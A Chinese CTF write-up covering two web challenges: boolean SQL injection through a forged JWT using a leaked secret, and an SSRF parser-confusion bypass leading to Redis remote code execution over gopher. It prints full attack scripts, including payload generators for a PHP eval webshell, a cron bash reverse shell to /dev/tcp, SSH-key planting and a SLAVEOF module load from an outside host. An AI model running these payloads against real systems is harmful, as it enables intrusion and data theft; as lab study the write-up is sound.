进入题目注册用户,注册用户admin时提示已经注册
尝试登陆admin
账户,存在弱口令,admin
/admin
这里得到key,尚不清楚作用
注册一个账户并登陆,观察登陆相应返回JWT
访问index.php会带上JWT,JWT应该用于鉴权
前面的key应该为jwt使用,使用jwt.io进行初步分析,数据正确:
经过测试jwt中的user存在sql注入
这里可以根据页面返回信息(这里是你的信息),作为判断进行布尔注入
经过测试,过滤select等关键字,但是后端会过滤html标签,可以利用sele<i>ct
进行绕过,这里直接用like
更省事
import jwt
import requests
from authlib.jose import jwt
def get_toke(payload):
header = {"alg": "HS256",
"typ": "JWT"}
payload = {"user": payload,
"news": "Hello neusoft"}
secret = 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6'
token = jwt.encode(header, payload, secret).decode('utf-8')
return token
if __name__ == '__main__':
payload = "neusoft'and/**/current_user/**/like/**/'root@localhost"
chars = '.0123456789@abcdefghijklmnopqrstuvwxyz'
for c in chars:
tmp_payload = payload + c + '%'
print(tmp_payload)
toekn = get_toke(tmp_payload)
url = "http://9ebb0777b871433482e5bac8cf73b4655c0744244d644f7f.cloudgame2.ichunqiu.com/index.php"
headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1.6) ",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-us",
"Connection": "keep-alive",
"Accept-Charset": "GB2312,utf-8;q=0.7,*;q=0.7",
"Cookie":
"chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1589954830,1590022770,1590023266,1590023268; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1590031195; __jsluid_h=b7ce52b008fa2bd66***b073712ae518; token={token}".format(
token=toekn)
}
rs = requests.get(url=url, headers=headers).text
if 'Hello neusoft' in rs:
print(rs)
print(toekn)
exit()
得到当前用为root@localhost
,权限足够,同样使用like
和load_file
进行对/flag /tmp/flag
等常见位置读取确定flag在根目录下,懒得添加直接手工修改payload
逐位读出:
import json
import base64
import json
import hashlib
import hmac
import jwt
import requests
from authlib.jose import jwt
def get_toke(payload):
header = {"alg": "HS256",
"typ": "JWT"}
payload = {"user": payload,
"news": "Hello neusoft"}
secret = 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6'
token = jwt.encode(header, payload, secret).decode('utf-8')
return token
if __name__ == '__main__':
# payload = "neusoft'and/**/current_user/**/like/**/'ROOT@L"
payload = "neusoft'and/**/load_file('/flag')/**/like/**/'flag{4b71e186-d2b7-4787-95d9-c5285971162c}"
chars = '-{}.0123456789abcdefghijklmnopqrstuvwxyz'
for c in chars:
tmp_payload = payload + c + '%'
print(tmp_payload)
toekn = get_toke(tmp_payload)
url = "http://36935ee20bc74c8cbfaf6af4da86392f61d0a1a8a3e144b8.cloudgame2.ichunqiu.com/index.php"
headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1.6) ",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-us",
"Connection": "keep-alive",
"Accept-Charset": "GB2312,utf-8;q=0.7,*;q=0.7",
"Cookie":
"chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1589954830,1590022770,1590023266,1590023268; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1590035539; __jsluid_h=d5096c4ce8e90aaaae84ee7ce325c7e3; token={token}".format(
token=toekn)
}
rs = requests.get(url=url, headers=headers).text
if 'Hello neusoft' in rs:
print(rs)
print(toekn)
print(c)
exit()
开局给源码,明显的ssrf
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>
可以发现check_inner_ip
函数首先对请求进行了内网ip的判断,并不允许内网ip地址的请求。
parse_url
与libcurl
对url的解析差异绕过check_inner_ip
函数对内网地址的判断
http://0b417548a8cd4b4fb179c2ea09d54b223f6d99ee096a43c4.cloudgame2.ichunqiu.com/?url=http://u:[email protected]:[email protected]/hint.php
成功获取下一步的hint,得到应该是redis账号密码的提示
<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is welcometowangdingbeissrfme6379';exit();".$_POST['file']);
}
使用dict协议测试,redis能成功访问 ,但存在密码校验
http://370c78bf6a6e464f8aa42c396b27e54273d669ccc5144d8a.cloudgame2.ichunqiu.com/?url=dict://u:[email protected]:[email protected]/
使用dict协议校验密码成功
失败则为
dict
协议一次只能执行一条命令,因该是仅仅能进行密码验证。此处需要gopher
协议,可以一次性完成密码验证以及恶意命令执行(大致意思是说Redis客户端支持管道操作,可以通过单个写入操作发送多个命令,而无需在发出下一个命令之前读取上一个命令的服务器回复。所有的回复都可以在最后阅读)。
攻击方式位Redis基于主从复制RCE,整个手动构造很是麻烦,推荐使用现成工具,可以设置密码还有需要执行的命令。
#!/usr/local/bin python
# coding=utf8
try:
from urllib import quote
except:
from urllib.parse import quote
def generate_shell(filename, path, passwd, payload):
cmd = ["flushall",
"set 1 {}".format(payload),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
return cmd
def generate_reverse(filename, path, passwd, payload): # centos
cmd = ["flushall",
"set 1 {}".format(payload),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
return cmd
def generate_sshkey(filename, path, passwd, payload):
cmd = ["flushall",
"set 1 {}".format(payload),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
return cmd
def generate_rce(lhost, lport, passwd, command="cat /etc/passwd"):
exp_filename = "exp.so"
cmd = [
"SLAVEOF {} {}".format(lhost, lport),
"CONFIG SET dir /tmp/",
"config set dbfilename {}".format(exp_filename),
"MODULE LOAD /tmp/{}".format(exp_filename),
"system.exec {}".format(command.replace(" ", "${IFS}")),
# "SLAVEOF NO ONE",
# "CONFIG SET dbfilename dump.rdb",
# "system.exec rm${IFS}/tmp/{}".format(exp_filename),
# "MODULE UNLOAD system",
"POST"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
return cmd
def rce_cleanup():
exp_filename = "exp.so"
cmd = [
"SLAVEOF NO ONE",
"CONFIG SET dbfilename dump.rdb",
"system.exec rm${IFS}/tmp/{}".format(exp_filename),
"MODULE UNLOAD system",
"POST"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
return cmd
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x))) + CRLF + x
cmd += CRLF
return cmd
def generate_payload(ip, port, passwd, mode):
payload = "test"
if mode == 0:
filename = "shell.php"
path = "/var/www/html"
shell = "\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
cmd = generate_shell(filename, path, passwd, shell)
elif mode == 1:
filename = "root"
path = "/var/spool/cron/"
shell = "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.1/2333 0>&1\n\n"
cmd = generate_reverse(filename, path, passwd, shell)
elif mode == 2:
filename = "authorized_keys"
path = "/root/.ssh/"
pubkey = "\n\nssh-rsa "
cmd = generate_sshkey(filename, path, passwd, pubkey)
elif mode == 3:
lhost = "103.210.23.184"
lport = "6666"
command = "cat /flagFlagFLLLLLLLLLLLLLLag"
cmd = generate_rce(lhost, lport, passwd, command)
elif mode == 31:
cmd = rce_cleanup()
protocol = "gopher://"
payload = protocol + ip + ":" + port + "/_"
for x in cmd:
payload += quote(redis_format(x))
return payload
if __name__ == "__main__":
# 0 for webshell ; 1 for re shell ; 2 for ssh key ; 3 for redis rce ; 31 for rce clean up
# suggest cleaning up when mode 3 used
mode = 3
# need auth or not
passwd = "welcometowangdingbeissrfme6379"
ip = "127.0.0.1"
port = "6379"
p = generate_payload(ip, port, passwd, mode)
print(p.replace("gopher://127.0.0.1:6379","gopher://u:[email protected]:[email protected]"))
注意payload 需要两次url编码,传送到服务器解码一次,libcurl传递的url也需要编码
GET /?url=%67%6f%70%68%65%72%3a%2f%2f%75%3a%70%40%31%32%37%2e%30%2e%30%2e%31%3a%36%33%37%39%40%6e%65%75%73%6f%66%74%2e%63%6f%6d%2f%5f%25%32%41%32%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%41%55%54%48%25%30%44%25%30%41%25%32%34%33%30%25%30%44%25%30%41%77%65%6c%63%6f%6d%65%74%6f%77%61%6e%67%64%69%6e%67%62%65%69%73%73%72%66%6d%65%36%33%37%39%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%37%25%30%44%25%30%41%53%4c%41%56%45%4f%46%25%30%44%25%30%41%25%32%34%31%34%25%30%44%25%30%41%31%30%33%2e%32%31%30%2e%32%33%2e%31%38%34%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%36%36%36%36%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%43%4f%4e%46%49%47%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%53%45%54%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%64%69%72%25%30%44%25%30%41%25%32%34%35%25%30%44%25%30%41%2f%74%6d%70%2f%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%31%30%25%30%44%25%30%41%64%62%66%69%6c%65%6e%61%6d%65%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%65%78%70%2e%73%6f%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%4d%4f%44%55%4c%45%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%4c%4f%41%44%25%30%44%25%30%41%25%32%34%31%31%25%30%44%25%30%41%2f%74%6d%70%2f%65%78%70%2e%73%6f%25%30%44%25%30%41%25%32%41%32%25%30%44%25%30%41%25%32%34%31%31%25%30%44%25%30%41%73%79%73%74%65%6d%2e%65%78%65%63%25%30%44%25%30%41%25%32%34%33%35%25%30%44%25%30%41%63%61%74%25%32%34%25%37%42%49%46%53%25%37%44%2f%66%6c%61%67%46%6c%61%67%46%4c%4c%4c%4c%4c%4c%4c%4c%4c%4c%4c%4c%4c%4c%61%67%25%30%44%25%30%41%25%32%41%31%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%50%4f%53%54%25%30%44%25%30%41 HTTP/1.1
Host: d3e5576b9b914c***200279ef8231d1dc48a4720447e45a4.cloudgame1.ichunqiu.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1589954830,1590022770,1590023266,1590023268; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1590059932; __jsluid_h=2d0da9dd4a39f2acda1d100eddf6f309
Connection: close
参考
https://www.smi1e.top/%e6%b5%85%e6%9e%90ssrf%e8%ae%a4%e8%af%81%e6%94%bb%e5%87%bbredis/
https://www.cnblogs.com/-chenxs/p/11749367.html
本文作者:Rai4over
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/132215.html